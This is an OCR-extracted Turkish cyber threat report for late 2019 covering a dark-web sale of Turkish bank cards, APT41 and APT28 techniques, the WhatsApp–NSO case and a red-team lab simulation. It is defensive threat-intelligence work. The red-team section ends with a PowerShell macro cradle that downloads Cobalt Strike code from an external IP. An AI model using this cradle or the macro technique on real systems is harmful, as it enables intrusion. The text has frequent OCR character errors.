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SORUMSUZLUK VE FIKRI MULKIYET HAKKI BEYANI

isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan iceriklerdir. Bu eser/
internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina yonelik degildir. STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Ucunci kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tliri sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlli hakki STM Savunma Teknolojileri Miihendislik ve Ticaret A.$.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda higbir Sekilde

yayimlanamaz, ¢ogaltilamaz, igslenemez.
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Bir yil daha siber tehditler, bu tehditlerden kaynakli siber
olaylar ve gindem maddeleriyle tamamladik. Yilin son
ceyreginde karsilastigimiz olaylar ve giindem maddele-
rine dair analizler ile 2019’un siber givenlik degerlen-
dirmesi ve 2020 yilina ait beklentileri bu raporumuzda
bulabilirsiniz.

STM Siber Flizyon Merkezinin énculigini yaptigi siber
tehdit istihbarati ¢alismalari ginden gline daha fazla
6nem kazanip kirmizi-mor-mavi takimlar i¢in yol g&s-
terici bir deger kazanmaktadir. Gegtigimiz dénemlerde
adindan siklikla s6z ettiren APT saldirn gruplarinin kullan-
digi TTP’lerin (Tactics, Techniques and Procedures) ana-
liz sonuglari 1siginda belirlenen saldir kampanyalarina ait
loC ve ¢6zUm &nerilerini ele almigtik. Bu raporumuzda
APT gruplarina yénelik analizlerin yani sira, STM Flizyon
Merkezi tarafindan yakin zamanda tespit edilen ve Ulke-
mizdeki kullanicilan etkileyen Dark Web’deki banka kart
satigl vaka incelemesini siber tehdit istihbarati bashgi al-
tinda bulabilirsiniz.

Saldin sonuglarinin sosyal ve ekonomik dengelerde
olusturdugu degisimlerden siber saldirilarin hem sos-
yal hem de profesyonel hayata y6nelik tehditler buti-
nd oldugu cikarimini elde etmek mimkin. Bu cerce-
vede, gindemde olan WhatsApp-NSO dava siireci,
modemleri tehdit eden yeni Mirai varyantlari, Zigbee
protokolliine dizenlenen yeni saldirilar ile bu ¢erceve-
de ofansif-defans kategorisinde ele alinacak Red Team
Vaka Analizi ¢galigmalarimizi siber saldirilar béliminde
bulabilirsiniz.

Siber glvenlik zincirinin en zayif halkasina yonelik teh-
ditler durmaksizin devam ediyor. 2019 yili icinde sosyal
muihendislik saldirilarinin cesitli sekillerde kullanicilari
aldatmaya calistiina dnceki raporlarimizda sik sik de-
ginmistik. Yilin son ceyreginde de sosyal mihendislik
saldirilarinin agirlikli olarak popliler zafiyetler ve sahte
uygulamalar (zerinden ilerledigini g&zlemlemekteyiz.
Zararli sahte uygulamalar kategorisinde son ¢eyrekte en
cok dikkat ¢eken ve tehlike olusturan zararli, Glkemiz-
de hemen herkesin kullandigi ve kisisel bilgilerine erisim
sagladigi “E-Devlet” uygulamasinin replikasi (sahtesi)
oldu. Buna ek olarak, en ¢ok tercih edilen tarayicilardan
biri olan Chrome’a yonelik ¢ikan zararli yazihm ile po-
puler elektronik kitap okuma uygulamalarindan biri olan
“E-Book Reader” isimli uygulamanin replikasinin da bir-
cok kullaniciyi tehdit ettigi tespit edildi. Son dénemde
zararll sahte uygulamalar olarak karsimiza ¢ikan uygu-
lamalarin analizini zararli yazilim analizi bélimimizde
bulabilirsiniz.

insan hayatinin kolaylastiriimasi, endistrideki insan is-
gucinin hafifletiimesi ile yasam ve Uretim kalitesinin
artinimasi teknolojik gelismelerin temel hedeflerinden
sayllabilir. Bu sirecte icat edilen ve gelistirilen trin ve
hizmetler zamanla siber saldirilarin hedef alanlarindan
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biri haline gelmistir. Gegtigimiz Ui¢ aylik ddnemde radari-
miza takilan olaylardan 2018’den bu yana gindem mad-
desi olan mikrogipler, islemci zafiyetleri ve loT (Internet
of Things) cihazlarindaki bilgi sizintilan ve sikilastirma
Onerilerini derledigimiz analizleri teknolojik gelismeler ve
siber glivenlik baghdi altinda bulabilirsiniz.

Siber glivenlik alaninda kisi ve kurumlarin kendilerini si-
nayarak zayif yénlerini gérmelerini, kendilerini gelistirme
imkani saglamalarini ve bu alanda calisan tim paydas-
larin tek cati altinda birlestiriimesini ve bilgi paylasim
aginin olusturulmasini amaglayan ve geleneksel hale
gelen STM Capture The Flag (CTF) yarismalarindan be-
sincisini, 28-29 Eyliil 2019 (Online-On Eleme) ve 31 Ekim
2019 (Offline-Final) tarihlerinde Ankara’da diizenlemenin
heyecanini yasadik. Bu etkinligimize ait detayl bilgi, ra-
porumuzun dénem inceleme konusu bashgi altinda yer
almaktadir.

2020 yihinda hepimiz igin siber tehditlerin azalma-
si ve siber tehditlere kargi farkindaligimizin artmasi
dileklerimizle...

2019 yihnin siber tehditleri ve 2020 yilina ait beklentiler-
den olusan bilgileri giriste 6zetleyecek olursak;

2019 Yilinda One Cikan Konular
APT Gruplari ve Saldin Kampanyalari
Kisisel Verilerin Guvenligi ve Veri Sizintilari
Sosyal Medya Uzerinden Siber istihbarat
Zararl Sahte Uygulamalar
Saglik ve Ulasim Sektériindeki Tehditler
loT ve Akilli Sistemlere Y6nelik Tehditler

2020 Yih Siber Giivenlik Ongoriilerimiz

Sosyal Miihendislik, Yapay Zeka ve Artiriimis
Gerceklik

Hedef odakli sosyal mihendislik saldirilarinin arta-
cagini ve bu saldirlarda yapay zeka, artirnlmis ger-
ceklik ve DeepFake yontemlerinin de kullanilacagini
6ngormekteyiz.

APT Grubu Saldin Kampanyalari

APT gruplarinin artis gdsterip yeni saldiri kampanya-
larina devam ederken saldirilarin mobil cihazlara da
ybnelecegini 6ngdrmekteyiz.

Hedef Odakh Saldirilar

Saldin tirlerinin gelisen teknoloji ve ofansif-defansif
yaklagimlarin ciktilariyla daha sofistike ve otomatik
hale gelecegini 6ngdérmekteyiz.

SIBER TEHDIT DURUM RAPORU
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Ransomware
Sene sonuna dogru ivme kaybeden ransomware
saldirilarinin yeni yilda yeni varyantlarda tekrar ivme
kazanip mobil ve bulut platformlara y&nelecegini
6ngoérmekteyiz.

Yamalama

Eski isletim sistemi ve uygulama strimlerinin kullani-
minin 2020 yilinda daha buyik siber saldiri vakalarina
neden olacagini d5ngdérmekteyiz.

Secimler ve Veri Sizintilari

Elektronik secim calismalarina yonelik siber saldi-
nlarin ve dogrudan/dolayli olarak KVKK ile GDPR
kapsaminda yeni ihlal ve yaptinm vakalarinin da artis
gOsterecegini 6ngérmekteyiz.

Mobil Cihazlar,
Sistemleri
2018/19 yillarinda siklikla glindem olan sahte uy-
gulamalarin gindemde kalmaya devam edecegi-
ni, 2020 yilinda da saldin agirhgi ve hedef yénunin
mobil cihazlar ve bulut sistemlerine ydnelecegini
6ngdérmekteyiz.

Sahte Uygulamalar ve Bulut

loT Cihazlar

Kullanicilarin  yasamlarini dogrudan etkileyen akil-
I sistemlerin (TV, Ev, Araba vb.) saldir ve casusluk
kampanyalarinin yeni hedeflerinden biri olacagdini
6ngoérmekteyiz.

Saglik Sistemleri

Saglik/medikal sistemlerine yapilan saldirilarin ve
olusacak zararlann maddi boyutunun artis gésterme-
sinin yani sira, manevi boyutunun da ciddi bir sevi-
yeye ulasacagini (kan degerleri ve DNA bilgileri gibi
kritik bilgilerin ifsa olmasi) 6ngérmekteyiz.

Kritik Altyapilar

Kritik altyapilara yoénelik saldirilarin 2020 yilinda da
gliindemde olmaya devam edecedini, yamalama ek-
sikligi ve yeni zafiyetlerin kesfiyle endistriyel sistem-
lere yonelik saldirn kampanyalarinin daha fazla risk
olusturacagini dngdrmekteyiz.

5G ve Konteyner (Container) Yapilari

Son zamanlarda adindan oldukg¢a bahsettiren kon-
teyner yapisi ve 2020 yilinda gegcilecegi 6ngdrilen
5G teknolojisiyle birlikte genisleyecek atak yiizeyinde
yeni saldir tUrleri ve zafiyetlerin kesfedilmesine bagl
olarak kablosuz ag saldirilarinin siklikla giindeme ge-
lecegini 6ngdrmekteyiz.

Siber Giivenlik Yetenek Acikhigi

Surekli gelisen siber uzayda artan tehditlerle ma-
cadele etmek i¢in ihtiya¢ duyulan uzman sayisi her
gecen gun artis gésteriyor. 2020 yili ve sonrasinda
nitelikli uzman ihtiyaci sayisinin daha belirgin sekilde
artarak gindeme gelecegini d6ngérmekteyiz.
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Bu kisimda STM Siber Flzyon Merkezimizdeki analist-
ler tarafindan yapilan mevcut ve éngoérilen siber saldin,
zararl yazihm ve sifirinci guin acgikliklarina yénelik tehdit
analizlerinin sonuclar verilmektedir.

1. BANKA VE KREDi KARTLARININ DARK
WEB’DE SATISA CIKARILMASI

Dark Web’de dinyanin en blylk sanal kart magazasi
olarak da bilinen “Joker’s Stash” underground forum
sitesinde 28 Ekim ile 27 Kasim tarihleri arasinda Turk
bankalarina ait toplamda 455.000’den fazla kart bilgisi-
nin ylklendigi ve satisa cikarildigi tespit edildi. Satista
olan kartlardan bazilan kontrol edildiginde, kart bilgileri-
nin birden fazla bankaya ait oldugu gézlemlenmistir. Bu
durum, sizintinin herhangi bir banka portalindan gercek-
lesmedigini, aksine kart bilgilerini Gzerinde tutan bir por-
taldan sizdinimis olabilecegine isaret etmektedir.

Bu tarihler arasinda sizdirilan yaklasik 455.000 kart ise
sitede tek seferde degil gruplar halinde ve farkl tarihler-
de satisa sunulmus durumda.

— ==
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Sekil 1: Sitede “Turkey” seklinde arama yapildiginda dért grup ha-
linde sonug elde edilebilmektedir.

Sizdirlan kart verileri Dark Web’de doért grup halinde
satiliyor:

“Turkey-Mix-01 (Fresh Sniffed CVV)”: 28 Ekim tari-
hinde satisa cikarilan birinci grup 30.000 karttan olu-
suyor ve her biri 3 dolardan satiliyor. Bu kartlar icin
satici 15 dakikalik bir garanti suresi ve kart bilgilerinin
ylizde 85-90 oraninda kesin galistigini taahh(it ediyor.

“Turkey-Mix-02 (Fresh Sniffed CVV)”: 28 Ekim ta-
rihinde satiga ¢ikarilan ikinci grup da 30.000 karttan
olusuyor ve her biri 3 dolardan satiliyor. Bu kartlar igin
satici 15 dakikalik bir garanti stiresi ve kart bilgilerinin
yuzde 85-90 oraninda kesin ¢alistigini taahhit ediyor.

“Turkey-Mix-03-Special-Price-1USD (Fresh Sniffed
CVWV)”: 27 Kasim tarihinde satisa ¢ikarilan dglinci
grupta ise toplam 190.000 kart bilgisi bulunmakta. Bu
kartlar icin satici 15 dakikalik bir garanti siresi ve kart
bilgilerinin yizde 85-90 oraninda kesin galistigini taah-
hit ediyor. Bu gruptaki kartlarin ticreti ise 1 dolar.



A thimnkktech
LN

STM Teknolojik Diisiince Merkezi

Buy Card

Sekil 2: Satin alma ekraninda kisilere ait banka, isim ve telefon numarasinin ilk bes hanesi
gibi bilgiler yer almakta.
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Sekil 3: Sizdirilan verilerin satisa sunulmasi.
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Sekil 4: Sizdirilan kartlara ait bilgiler.

Your Cart
L
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Sekil 5: Bazi kartlara ait kayitlarin isim alaninda kart numarasi bilgisinin oldugu tespit edil-
mis, ilgili kayda gidildiginde son kullanma tarihinin de ulasilabilir oldugu gézlemlenmistir.
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“Turkey-Mix-04-Special-Price-
1USD (Fresh Sniffed CVV)”: 27
Kasim tarihinde satisa c¢ikarlan
dordiincii grupta ise 205.000
kart bulunmakta. Bu kartlar icin
saticl yine 15 dakikalik bir garan-
ti suresi ve kart bilgilerinin ylzde
85-90 oraninda kesin c¢alistigini
taahh(t ediyor. Bu gruptaki kart-
larin Gcreti de 1 dolar.

Sitede yer alan kart bilgileri incelen-
diginde her bir kayitta yalnizca kart
bilgilerinin degil ayrica kart sahibinin
adl soyadi, e-posta adresi ve tele-
fon numarasi bilgilerinin de yer al-
digr gézlemlenmigtir. Bu tur kayitlar
iceren sizinti verilerine dolandiricilar
arasinda “fullz” denilmektedir. POS
cihazlar Uzerinde yapilan sahtecilik
saldirlarinda bu kadar kapsamli veri
elde edilemedigi icin ¢alinan kart bil-
gilerinin kurbana yénelik yapilan olta-
lama ya da zararli yazilim saldirilary-
la elde edildigi degerlendiriimektedir.

Sizdirlan  veriler incelendiginde,
bazi kayitlarda isim alanina kart bil-
gisinin agik bir sekilde yazildig, ilgili
kayda tiklandiginda da satin alma
sayfasinda kartlara ait “son kullan-
ma tarihi’nin yer aldigi tespit edil-
mistir. Bu sekilde bagka saldirganla-
rin yalnizca sitede gezerek oltalama
saldirlari i¢in bircok kritik veri topla-
yabildigi de gézlemlenmistir.

Kart bilgilerinin farkl bankalara ait ol-
masindan dolayi ilgili sizintinin ban-
kalardan kaynaklanmadigi ve online
servis veren kurumlardan kaynak-
landigi degerlendiriimektedir. STM
Siber istihbarat Merkezinin yaptigi
arastirmalar sonucunda, sizintinin
otobus ve ucgak bileti satigi yapan bir
altyapi saglayicisindan kaynaklandi-
gina dair bulgulara ulasiimistir.

Dért grup halinde sizdirihp satisa ¢i-
karilan kartlarin tamaminin satilmasi
halinde, saldirganlarin 500.000 do-
lardan fazla kazang¢ saglayabilecegi
hesaplanabilir. Bu sizintinin ayni za-
manda Turkiye ile ilgili bu zamana
kadar tek seferde yapilan en buyik
kart sizintisi oldugu tespit edilmistir.

Kullanicilarin sizintidan bu zamana
kadar etkilenip etkilenmediklerini

SIBER TEHDIT DURUM RAPORU
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tespit edebilmek i¢in dizenli olarak geriye dénik kart
ekstrelerini kontrol etmeleri, stpheli bir aligveris gor-
duklerinde ise durumu derhal bankalarina bildirmeleri
Onerilmektedir. Bu tir sizintilardan etkilenmemek igin
ise kullanicilarin kartlarini yurtdisi kullanimina kapatma-
lari, internet Uzerinden aligveris yapiimadigi middetce
kartlarini internet kullanimina kapatmalari ve mimklnse
aligverislerinde sanal kart kullanmalari énerilmektedir.

2. SIBER TEHDIT VE APT TTP’LERI

Siber givenlik tehdidi ve istihbarat alani gittikce daha
gelismis, yetenekli ve hedef odakl aktérlere bagli olarak
her zamankinden daha hizli gelisiyor. Bir siber olaydan
sonra olay miidahalesine (Incident Response) odaklan-
mak yerine erken teshis, tehdidi tespit etme ve énleme
adimlarina yogunlasmak gerekmektedir. Siber tehdit is-
tihbaratinda amag, ideal olarak istismar asamasi gercek-
lesmeden dnce siber tehditleri tespit edip engellemektir.

Hedef haline geldikten sonra tehdit aktérleri tek bir
saldin ya da ihlalle kalmayarak devamli siber saldir ve
operasyonlar dizenlemektedir. Bu ylzden kurumlarin
kendi sistemlerini ve tehdit aktérlerini iyi anlamalari ge-
rekmektedir. Siber tehdit istihbarati bu tehdit aktorleri-
nin gergeklestirdikleri operasyonlarin etkisini azaltmayi
amaglar. Bdylelikle kurumlar saldirilara kargl daha rahat
onceliklendirme yapabilmekte, tehdidin etkisini daha ra-
hat anlamlandirabilmektedir.

Devletler, diger devletlerin saldirlarina karsi hazirlikh ol-
mak veya Ustlnlik saglamak icin onlarn kullandigr sis-
temler ve (askeri acidan da) mihimmat hakkinda bilgi
toplarlar. Siber uzay da artik savas ortamlarindan biri ha-
line gelmekte oldu@u icin potansiyel siber saldirilar ba-
kimindan da mevcut varliklari/sistemleri bilmek gerekir.

Bir kurum saldiriya ugradiginda, saldiri aktorleri ve yén-
temlerine ait bilgiler diger kurumlarla da paylasiimalidir.
Boylece benzer aktér ve saldin kampanyalarinin diger
kurumlar etkilemesinin énline gecilebilir veya olusacak
zarar minimuma indirgenebilir. Ozellikle sektér odakl
gerceklestirilen siber saldirnlar bitin sektér paydasla-
riyla paylagiimalidir. Ornegin; bir siber saldiri bir bankay!
hedef aldiginda, siber saldirinin 10C bilgileri («Indicator
of Compromise» basarili bir girisimin, saldirinin ayirt edi-
ci 6zelligi) ayni saldir bilesenlerinden etkilenmemeleri
icin diger banka ve finans kuruluglariyla paylasiimaldir.
Siber Tehdit Aktoérlerinin taktik, teknik ve prosedurleri
(TTP) belirlenmeli ve her kurum tarafindan kendi saldiri
agaclan gelistiriimelidir.

2.1. 2019 Yilinin Onde Gelen Saldiri Aktoérleri

APT (Advanced Persistent Threats) gruplar, belli bir
amag dogrultusunda finansal zarar vermek ve degerli
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veri sizdirmak icin sistemleri hedef alan siber tehdit ak-
torleridir. Bu gruplar genellikle sistemlere zararl yazilim-
lar bulagtirarak, sosyal muhendislik saldirisi yaparak,
zafiyetleri sdmirerek veya sisteme fiziksel saldir di-
zenleyerek eylemlerini gerceklestirirler. Bu gruplardan
bazilari devlet destekli aktérler de olabilir. Motivasyon,
zaman ve kaynak varsa saldirilar blyik oranda basarili
olabilmektedir.

2.1.1. APT41

Bu APT grubu Ginli bir tehdit grubudur ve motivasyonu
finansal kazang saglamaktir. 2012’den bu yana aktif olan
APT41’in Turkiye’'nin de aralarinda bulundugu 14 (lke-
de saglik, telekom, teknoloji ve video oyun endistrilerini
hedef aldigi gézlemlenmistir. 2019 yilinda ise egitim, te-
lekom ve teknoloji sirketlerine atak gerceklestirdigi tespit
edilmistir.

APT41’in Kullandigi Bazi Teknikler!:

WMIEXEC ile komutlan ¢calistirmak ve kaliciig sagla-
mak icin de PowerSploit kullanmak,

netstat komutunu ag kesfinin bir parcasi olarak
kullanmak,

Aktif RDP oturumlarini tespit etmek igin kéti amaclh
yaziim cesidi olan HIGHNOON kullanmak,

Kurban makinelerden MAC adresleri toplamak,

Spearphishing sosyal mihendislik saldirilariyla kur-
banlarin ortamlarini ele gegirmek icin zararli dosyalar
gbéndermek,

Sistemde zamanlanmig gorevler olusturmak,

Kurban ortamina Monero kripto para madenciligi ara-
cl kurulmasi,

RDP’yi yatayda ilerlemek icin kullanmak.

APT41’in Kullandigi Yazilimlar!":

ASPXSpy Web Shell,
BLACKCOFFEE Zararl Yazilimi,
ZxShell araci; sistemde arka kapi birakan yazilim,

Pwdump; kimlik bilgisi elde etmek igin kullanilan
yazihm.

2.1.2. APT28

Sednit, Fancy Bear, Sofacy olarak da bilinen APT28
grubu bir Rus tehdit aktéridir. Faaliyetlerine 2004’ten
bu yana devam etmektedir. 2016 yilinda yapilan ABD
bagkanlik secimlerini etkilemeye ydnelik saldirilarda da
bulundugu belirtiimektedir. Aralarinda Turkiye'nin de
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bulundugu bircok Ulkeye siber casusluk icin saldirilar
duzenlemistir. 2019 yilinda IOT cihazlara da saldinlar di-
zenledigi tespit edilmigtir.

APT28’in Kullandigi Baz1 Teknikler?:

Guvenlik organizasyonlarinin glivenlik sayfalarinin
isimlerine benzer alan adi kullanmak,

Spearphishing sosyal miihendislik saldirlariyla kur-
banlarina makrolu Word dokiimani géndermek,

PowerShell betikleri kullanmalk,

Ele gecirilmis e-posta sunucusundan e-posta adresi
toplamak.

APT28’in Kullandigi Yazilimlar2:

Zebrocy Trojani,

XTunnel proxy araci,
XAgentOSX Zararl Yazilimi,
XAgent Android Zararli Yazihmi,

LLMNR, NBT-NS and MDNS
Responder araci kullanimi,

LoJax UEFI Rootkit kullanimi.

zehirleme igin

2.2. APT Tehdidinden Korunma Yontemleri

Kurumlar her siber saldiri gibi olasi sosyal mihendislik
saldinlarina kargl da énlem almaldir. Ornegin; bir sal-
dirgan, kuruma &6zel bir sosyal mihendislik saldirisina
hazirlaniyorsa ve saldiryi gerceklestirecedi web uygu-
lamasina Ucretsiz sertifika saglayicilardan sertifika ta-
nimladiysa kurum bunu agik kaynak sertifika loglarindan
(Certificate Transparency Logging) Certstream yazilimi
ile tespit edebilir.

hparkl1969.com

Sekil 6: Ornek anlik sertifika loglari.

8
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Bu aramalar daraltilarak kurum ismine 6zel alinmis alan
adlarina atanan sertifikalara gére de tespit yapilabi-
lir. Ornegin, bankalar igin sertifika loglari tespiti “bank”
anahtar kelimesiyle yapilabilir.

it-
bankingl

Sekil 7: Uluslararasi bir bankanin adi kullanilarak alinan alan adina
Uretilen sertifika.

L3 [ .::-m%' com
Index of /

Cenificate *

General Desads  Cersficaton Fach

j Cortificate Information

Name Last modified Size Description
Eileszip 2019.10-16 19:03 13M
Ic. 2019-05-21 11:32
MACOSX 2019-10-16 19:02
sELD 2019-06-28 16:57

Apache Server at ww n.'\-ml:i com Port 443

10.2019 o 14.01.2020

Vahd from 16

Hasar Slatmart

=]

Sekil 8: Uluslararasi bir bankanin adi kullanilarak alinan alan adina
Ucretsiz olarak “let’s encrypt” ile Uretilen sertifikanin ve sayfanin
incelenmesi.

2.3. Sonuc

Bu calismada bir saldirganin ilgili bankaya bir sosyal
mihendislik saldirisi hazirigi icinde olabilecegi ortaya
konmustur. Alan adinin ve sertifikanin yeni olusturuldugu
tespit edilmistir. Ayrica uygulamanin heniz hazirlanma
asamasinda oldugu goérilmektedir.

Tdm kurumlar bu ve bunun gibi agik kaynaklar Gizerinde-
ki tehdit unsurlarini takip etmeli ve énlemlerini almaldir.

Siber tehdit istihbarati, tehditleri siniflandirarak buna
gore kritik zafiyetlerin dizeltiimesi i¢in yamalara (pat-
ch) oncelik verilmesini, saldirlar daha hizli ve dogru bir
sekilde iligkilendirerek bunlarin otomatik olarak énlene-
bilmesi icin SIEM’lere (Security Information and Event
Management) aktariimasini saglar. Ayrica, belirtileri 6n-
celiklendirerek SOC (Security Operation Center) ana-
listlerinin alarmlari hizlh bir sekilde tespit edebilmesini
destekler. Olay miidahale ekiplerinin (Incident Response
Team), durumsal farkindaligini ve bagdastirmasini sagla-
mak amaciyla; saldirganlarin niyet, yéntem ve hedeflerini
tespit edebilmek icin 6zel belirtegler gelistiriimesini sag-
lar, ekiplerin ihlallerin yol actigi hasarlar hizl bir sekilde
telafi etmede ve gelecekte olusabilecek saldirilari énle-
mede aksiyon almasini sadlar ve gelistirir.

SIBER TEHDIT DURUM RAPORU
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Tehditlere kargi her kurum kendi kritik envanterine ve igin-
de yer aldigi sektdre goére bir atak agaci olusturmalidir.
Guncel siber saldinlan takip etmeli ve bunlara gére 6n-
lemler almalidir. Siber saldinlardan énce alinabilecek ku-
¢lk 6nlemler, blyUk saldirilardan koruyabilir. Bu nedenle
siber glivenlige gereken 6nemi saldin sonrasinda degil,
oncesinde vermek gerekir. Envanteri korurken de siber
tehdit istihbaratini dogru bir sekilde yapmak gerekir.

Bu kisimda, kiresel capta ses getiren siber saldi-
r vakalarina ait detaylar sebep-sonug¢ cercevesinde
incelenmektedir.

3. WHATSAPP NSO GROUP’A DAVA ACTI

2019 yii Mayis ayinda WhatsApp, video arama &zelli-
ginden kaynaklanan bir glivenlik agigini iceren bir saldiri
tespit ettigini ve engelledigini aciklamisti®. Ekim ayinin
sonunda ise saldirnnin arkasinda NSO Group’un oldu-
gunu iddia ederek su¢ duyurusunda bulundu. Yapilan
arastirmalarda;

Saldirganlarin, daha énce NSO ile iliskilendirilmis su-
nucular ve internet barindirma (hosting) hizmetlerini
kullandiklarinin tespit edildigi ifade edildi.

Saldinlar sirasinda kullanilan bazi WhatsApp hesap-
larinin NSO ile iligkilendirildigi ifade edildi.

WhatsApp Ust yoneticisi Will Cathcart yaptigi aciklama-
da, temel gizlilik hakkina sahip olduklarina inandiklarini ve
kullanicilarin gizliligini ve glivenligini ihlal etmek isteyenle-
re karsi ¢cok caba harcadiklarini ifade etti. Bu amacla uc-
tan uca sifrelemeyi etkinlestirdiklerini ancak saldirganlarin
buna karsilik casus yazilimlari dogrudan aygitlara yerles-
tirdigini belirtti. Will Cathcart gerceklesen saldirilardan
bazi sonuclar ¢cikariimasi gerektigine dikkat cekti:

Arka kapilarin ve diger guvenlik acikliklarinin buyik
bir tehlike olusturdugunu belirtti. Hikimetlerin ugtan
uca sifrelemeyi zayiflatmaya yonelik ¢agrilarina kargi
¢cikmaya devam edeceklerini ifade etti.

Teknoloji sirketlerinin insan haklarini korumak ve ge-
listirmek icin igbirligi yapmalari gerektigini belirtti.
Sirketlerin diger sirketlere karsi siber saldin baglat-
mamasi gerektigini ifade etti. Sorumlu aktérlerin gu-
venlik aciklarini tespit ettiklerinde rapor etmeleri ve
teknolojilerini bu givenlik agiklarindan yararlanmak
icin kullanmamalari gerektigini belirtti.

NSO Group, hakkinda yapilan suglamalar siddetle red-
dederek, NSO’nun tek amacinin devlet istihbaratina ve
kolluk kuvvetlerine terérizmle ve ciddi suglarla miicadele
etmede yardimci olacak lisansl teknoloji saglamak oldu-
gunu ifade etti“,

SIBER TEHDIT DURUM RAPORU
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3.1. NSO Group Kimdir?

Q Cyber Technologies olarak da adlandirlan NSO
Group, casus yazilim teknolojisi gelistiren ve satan israil
merkezli bir sirkettir. Cogunluk hissesi Avrupall bir 6zel
sermaye sirketi olan Novalpina Capital’e aittir. 2010 yilin-
da Israilli Shalev Hulio ve Omri Lavie tarafindan kurulan
sirket Tel Aviv yakinlarindaki Herzliya'da israil Yiksek
Teknoloji Merkezinde bulunmaktadir. Dinya genelinde
600 calisani oldugu séylenmektedir.

NSO Group, casus yaziimlarini yalnizca devlete sattigi-
ni ve tiim ihracatini israil devletinin ihracat yasalarina ve
g6zetim mekanizmalarina goére yaptigini iddia etmekte-
dir. Bununla birlikte, sirketin teknolojilerinin sivil toplum
Uyelerini hedeflemek icin kullanildigi vakalarin sayisinin
arttigr gézlemlenmisgtir.

4. RED TEAM VAKA ANALIzi

Red Team (Kirmizi Takim), kurumlara iceriden veya di-
saridan danismanlik seklinde hizmet veren ve kurumun
asll siber olay tespit kapasitesini artiran ekiptir. Bu ekip
periyodik ¢alismalarla kurumun mavi takim Gyelerini 6l-
cecek tatbikatlar gerceklestirir. Bu tatbikatlar sonucunda
hem mavi takimin saldirilar karsisinda verdigi cevaplar
ve bu cevaplarin sureleri dlctlir hem de mavi takim
guncel saldirlarla da gercek bir saldiri olmadan karsi-
lasmis olur. Mavi takimin strekli kurum icinde varsaydigi
sizintiyl arayarak (threat hunting) tespit etmeyi amagla-
digi bu ydntem Assume Breach (Sizinti Varsayimi) olarak
adlandirlir.

w Prevent Breach

Threat model

ode review e e = .
S ity testi =1 Centralized security monitors
ecurity testin - R n .
9 il | Live site penetration testing

Security development lifecycle |

Sekil 9: Prevent Breach ve Assume Breach yaklasimlarinin karsi-
lagtirimasi®.

Sekil 10: Assume breach dongusi®.
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Bu calismamizda biz de bir lab ortami kurarak bir saldiri
simillasyonu gerceklestirecegiz. Lab ortamini olustur-
mak icin saldir tespit amaciyla birgok uygulamay ba-
rindiran ve DetectionLab adi verilen ortami kullanacagiz.
Bu ortamda Splunk, Microsoft ATA (Advanced Threat
Analytics), Osquery ve Fleet, Suricata ve Bro yazilimlari
bulunmaktadir. Ayrica sunuculardaki loglama opsiyonlari
6n taniml bir sekilde ayarlanmigtir. Bu sayede Windows
Event loglar, Sysmon loglar, PowerShell loglar vb. oto-
matize bir sekilde Splunk yazilimi Gzerine iletilmektedir.

DetectionLab, Terraform araci ile entegre olarak calisabil-
mektedir. Bu nedenle DetectionLab kurulumu Terraform
ile Amazon Web Servisleri Uizerinde gerceklestirilecektir.

DETECTIONLAB

EmarTnas Heteens mine T coal

Y B

=

Fleet 6

Sekil 11: Kurulacak lab ortami ve yazilimlar.

4.1. Hazirhk Asamasi

DetectionLab, AWS ortamina Terraform uygulama-
siyla otomatik olarak kurulmustur.

Lab icinde bulunan Windows Domain ortamini ger-
¢cek ortama yaklastirmak icin farkl yetkilerde/gruplar-
da ve cesitli yanlis konfiglrasyonlar igceren kullanicilar
eklenmigtir. Bu kullanicilari otomatik olarak eklemek
igin Python ile yazilmig bir kod pargasi kullaniimigtir.

leS python3 create_users.py
nand

Sekil 12: Eklenecek kullanicilarin olusturulmasi.
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Sekil 13: Kullanicilar olusturacak powersell kod pargasi.

WIN10 isimli makineye yetki ylkseltme zafiyeti iceren
Proshow Producer yazilimi kurulmustur.

WIN10 makinesine RDP erisimi saglayabilen ve ma-
kineyi yeniden baglatabilen Domain Users grubunda
bir kullanici olusturulmustur.

WIN10 makinesine Microsoft Office Word yazilimi
kurulmusgtur.

Amazon Web Services ortamina Ubuntu 16.04 igle-
tim sistemi lzerine Cobalt Strike Teamserver moduli
kurulmustur.

Cobalt Strike yazilimi ile gerekli dinleyici (Listener)
ve zararll PowerShell kod pargasi Uretilmistir. Bu kod
parcas! hazirlanan zararli Word dokiimanina makro
yardimiyla eklenmistir.

4.2, Saldinlarin Gerceklestirilmesi

Saldinlar gerceklestiriimeden énce kurum digsindaki bir
saldirganin 6nce kurum igine erisim imkani bulacag
daha sonra da yatayda ve dikeyde yayilarak tim Kku-
rumda etki saglayabilecegi bir senaryo hazirlanmistir.
Senaryodaki saldirilarin Mitre Att&ck Matris’indeki kar-
sihgi asagidaki gibidir.

Taktik Mitre ID Teknik
Initial Access T1193 Spearphishing Attachment
Execution T1086 PowerShell
Persistence T1053 Scheduled Task
Privilege Escalation T1044 ABDSEED FETIEEES
Weakness
Credential Access T1208 Kerberoasting
Credential Access T1003 Credential Dumping
Discovery T1087 Account Discovery
Discovery T1046 Network Service Scanning
Lateral Movement T1028 e [REEE)
Management
Execution T1047 Windows Management

Instrumentation

Tablo 1: Senaryodaki saldirilarin Mitre Att&ck matrisindeki karsiligi.

SIBER TEHDIT DURUM RAPORU
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4.2.1. Oltalama Saldirisi (Spearphishing)

SimUlasyon baslangicinda zararli makro iceren Invoice.
doc adll Word dokimani fernando.muslera adl kullani-
clya iletilmistir. Kullanici da dokimani indirip makrolari
aktif etmigtir. Bu sayede kullanici makinesine ilk erigsim
saglanmistir.

Makrolu Word dokiimani olusturulurken éncelikle Cobalt
Strike Uzerinde zararli bir PowerShell kodu Uretilmistir.
Ardindan bu zararli kodu indirip calistiran kod parcasi
asagidaki sekilde olusturulmustur.

$h=New-0Object -ComObject Msxml2.XMLHTTP;
$h.open("'GET", "http://13.57.182.63:80/update, $false);
